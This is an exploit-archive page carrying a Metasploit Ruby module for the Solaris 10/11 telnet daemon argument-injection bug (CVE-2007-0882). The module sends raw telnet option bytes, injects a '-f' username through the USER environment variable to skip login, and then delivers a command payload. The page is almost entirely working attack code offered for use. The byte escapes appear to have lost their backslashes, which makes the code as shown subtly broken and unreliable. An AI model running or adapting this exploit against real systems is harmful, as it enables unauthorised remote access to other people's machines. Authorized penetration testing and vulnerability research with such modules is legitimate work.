[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Solaris 10, 11 Telnet Remote Authentication Bypass
# Published : 2007-02-12
# Author : MC
# Previous Title : uTorrent 1.6 build 474 (announce) Key Remote Heap Overflow Exploit
# Next Title : SunOS 5.10/5.11 in.telnetd Remote Authentication Bypass Exploit


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
			'Description'    => %q{
				This module exploits the argument injection vulnerabilty
				in the telnet daemon (in.telnetd) of Solaris 10 and 11.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2007-0882' ],
					[ 'OSVDB', '31881'],
					[ 'BID', '22512' ],
				],
			'Privileged'     => false,
			'Platform'       => ['unix', 'solaris'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        => 
				[
					['Automatic', { }],
				],
			'DisclosureDate' => 'Feb 12 2007',
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(23),
					OptString.new('USER', [ true, "The username to use",     "bin" ]),
				], self.class)
	end

	def exploit
		connect
			
		print_status('Setting USER environment variable...')
		
		req =  "xFFxFDx26xFFxFBx26xFFxFDx03xFFxFB"
		req << "x18xFFxFBx1FxFFxFBx20xFFxFBx21xFF"
		req << "xFBx22xFFxFBx27xFFxFDx05" 
		
		sock.put(req)
		sock.get_once
		
		req << "xFFxFCx25"

		sock.put(req)
		sock.get_once
		
		req << "xFFxFAx26x01x01x02xFFxF0"	

		sock.put(req)
		sock.get_once

		req << "xFFxFAx1Fx00x50x00x18xFFxF0"	

		sock.put(req)
		sock.get_once

		req << "xFFxFEx26xFFxFCx23xFFxFCx24"

		sock.put(req)
		sock.get_once

		req =  "xFFxFAx18x00x58x54x45x52x4DxFF"
		req << "xF0xFFxFAx27x00x00x55x53x45x52"
		req << "x01x2Dx66" + datastore['USER'] + "xFFxF0"

		sock.put(req)
		sock.get_once	
		sleep(0.25)

		sock.put(payload.encoded + "n")
		sleep(0.25)	
	
		handler
	end

end